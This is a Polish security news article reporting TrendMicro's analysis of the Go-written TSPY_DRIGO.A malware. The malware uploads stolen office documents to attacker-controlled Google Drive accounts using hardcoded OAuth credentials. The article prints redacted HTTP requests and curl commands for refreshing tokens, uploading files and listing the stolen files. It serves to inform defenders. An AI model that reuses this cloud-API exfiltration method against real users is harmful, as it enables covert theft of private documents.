Google Drive używany do składowania skradzionych prywatnych danych

Botnety wykradają terabajty danych, analizują je, wykorzystują i przechowują. Problemem jest składowanie danych przed ich analizą. Jeśli więc bronicie się przed kontem na Facebooku, GMailu czy Dropboksie, wasze dane i tak mogą już tam być.

Przestrzeń kosztuje – wie o tym każdy kto kupował mieszkanie, wie o tym każdy kto posiada dysk SSD, wiedzą o tym również twórcy botnetów. Dlaczego więc nie wykorzystać darmowych zasobów w chmurze do niecnych celów? Pisaliśmy już o botnetach wykorzystujących choćby darmową moc obliczeniową chmury, wiemy o botnecie który wykorzystywał pliki zlokalizowane w Dropboksie czy Evernote jako źródła instrukcji dla C&C. Również Sendspace w lutym 2014 był używany do przechowywania wykradzionych danych. Teraz przyszła pora na Google Drive.

Mamy Twoje dane i oddamy je NSA (czyt. Google)

Badacze z TrendMicro odkryli malware TSPY_DRIGO.A który do przechowywania odnalezionych na komputerach ofiar danych używa publicznie dostępnych dysków Google. Malware o którym mowa analizuje profil użytkownika oraz zawartość jego kosza pod kątem obecności plików o rozszerzeniach:

• DOC
• DOCX
• PDF
• PPT
• PPTX
• TXT
• XLSX
• XLS

Pliki te są bezpośrednio przesyłane na odpowiednio skonfigurowane wcześniej konta na dyskach Google przy wykorzystaniu OAuth 2.0 i Google API.

Schemat aktualizacji tokenu w OAuth 2

Aby połączyć się z Google Drive przy użyciu API, niezbędny jest client_id oraz client_secret. Dane te zostały zaszyte w malware, podobnie jak i refresh token, który to niezbędny jest, aby zapobiec wygaśnięciu poprzednich dwóch. Wykorzystywany jest głównie przez aplikacje którym pozwolimy na korzystanie z naszego konta czy to w Google, Twiterze czy Facebooku (Facebook w tym przypadku używał wcześniej w API metody offline_access, z czego ze względów bezpieczeństwa jednak zrezygnował).

Rozszyfrowanie transmisji

Powyższe informacje udało się TrendMicro uzyskać po rozszyfrowaniu komunikacji pomiędzy malware a serwerami Google. Poszczególne zapytania wyglądały następująco:

Zapytanie o nowy token:

POST /o/oauth2/token HTTP/1.1
 Host: accounts.google.com
 User-Agent: Go 1.1 package http
 Content-Length: 208
 Content-Type: application/x-www-form-urlencoded
 Accept-Encoding: gzip
 client_id={USUNIĘTO}apps.googleusercontent.com&client_secret= {USUNIĘTO}&grant_type=refresh_token&refresh_token={USUNIĘTO}

Odpowiedź z tokenem:

HTTP/1.1 200 OK
 Content-Type: application/json; charset=utf-8
 Cache-Control: no-cache, no-store, max-age=0, must-revalidate
 Pragma: no-cache
 Expires: Fri, 01 Jan 1990 00:00:00 GMT
 Date: Thu, 14 Oct 2014 08:08:32 GMT
 Content-Disposition: attachment; filename=”sample.txt”; filename*=UTF-8”sample.txt
 X-Content-Type-Options: nosniff
 X-Frame-Options: SAMEORIGIN
 X-XSS-Protection: 1; mode=block
 Server: GSE
 Alternate-Protocol: 443:quic
 Transfer-Encoding: chunked
{
 “access_token” : “{USUNIĘTO}”,
 “token_type” : “Bearer”,
 “expires_in” : 3600
 }

Wysłanie pliku:

POST /upload/drive/v2/files?alt=json&uploadType=multipart HTTP/1.1
Host: www.googleapis.com
User-Agent: google-api-go-client/0.5
Content-Length: 398
Authorization: OAuth {USUNIĘTO}
Content-Type: multipart/related; boundary=e0cee80c4f3d21e18e77548a60b374408ce65bc3b76c5de1cdbe2afe7eeb
Accept-Encoding: gzip

W ten podobny sposób badaczom udało się uzyskać listę plików które znajdują się na powyższym koncie:

Zapytanie o token:

curl –d “cliend_id={CLIENT_ID}&client_secret={SECRET_KEY}&grant_type=refresh_token&refresh_token={REFRESH_TOKEN} https://accounts.google.com/o/oauth2/token

Wyświetlenie plików:

curl –H “Authorization: OAuth {ACCESS_TOKEN}” https://www.googleapis.com/drive/v2/files?maxresults=1

I fragment odpowiedzi:

{
 “kind”: “drive#file”,
 :
 :
 “title”: “{HOSTNAME} C:\\Users\\{USERNAME}\\AppData\\Roaming\\{USUNIĘTO}長致詞{USUNIĘTO}.doc”,
 “mimeType”: “application/vnd.google-apps.document”,
 :
 :
 },
 “createdDate”: “2014-10-16T10:13:14.339Z”,
 “modifiedDate”: “2014-10-16T10:13:16.286Z”,
 “modifiedByMeDate”: “2014-10-16T10:13:16.286Z”,
 “lastViewedByMeDate”: “2014-10-16T10:13:16.286Z”,
 “markedViewedByMeDate”: “1970-01-01T00:00:00.000Z”,
 :
 :
 }

Błędem twórców może być wielokrotne użycie tych samych kont Google do współdzielenia plików. Część plików w dalszym ciągu jest osiągalna z poziomu tokenów używanych przez malware. Co gorsze, część nazw plików składowanych na kontach Google Drive używanych przez zarządzających botnetem zdradza do kogo one należą – w większości są to agencje rządowe.

Go Go Google

Wykorzystanie Google Drive to nie jedyny związek złośliwego oprogramowania z tą firmą. Malware został napisany w języku programowania Go, który to został opracowany przez pracowników Google. Jego główną zaletą jest łatwość pisania aplikacji (podobnie jak np. Python jest językiem dynamicznym dziękujemy czytelnikowi za zwrócenie uwagi, golang umożliwia jedynie dynamiczną zmianę typu interfejsów, co nie czyni go językiem dynamicznym), przy wydajności zbliżonej do języków kompilowanych takich jak C/C++. Powyższe cechy są bardzo pożądane przy tworzeniu malware, a sam pomysł wykorzystania golang w ich produkcji nie jest niczym nowym – pierwsze wzmianki na ten temat pojawiały się już w 2012 roku.

„Maskotka” golang

Rekonesans

Badacze uważają, że głównym zadaniem malware jest sprawdzenie z czego i dlaczego korzystają zainfekowani użytkownicy. Ma to ułatwić zebranie dalszych informacji niezbędnych do przeprowadzenia ataku wycelowanego w konkretną infrastrukturę lub agencję, może osobę. Im więcej plików uda im się pozyskać (warto podkreślić, że tylko pliki tekstowe są wysyłane do usług chmurowych) i przeanalizować, tym precyzyjniejszy atak uda się im przeprowadzić, a tym samym rozszerzyć zakres działania botnetu i być może dotrzeć do upragnionego przez twórców celu. TrendMicro poinformowało już Google o odkryciu, co może pokrzyżować model biznesowy botnetu, choć nie uważamy, by było znaczącą przeszkodą.

Być może Google po analizie źródłowych IP przesyłanych na obsługiwane przez siebie usługi plików wyciągnie kolejne wnioski i przybliży nas do rozwiązania zagadki.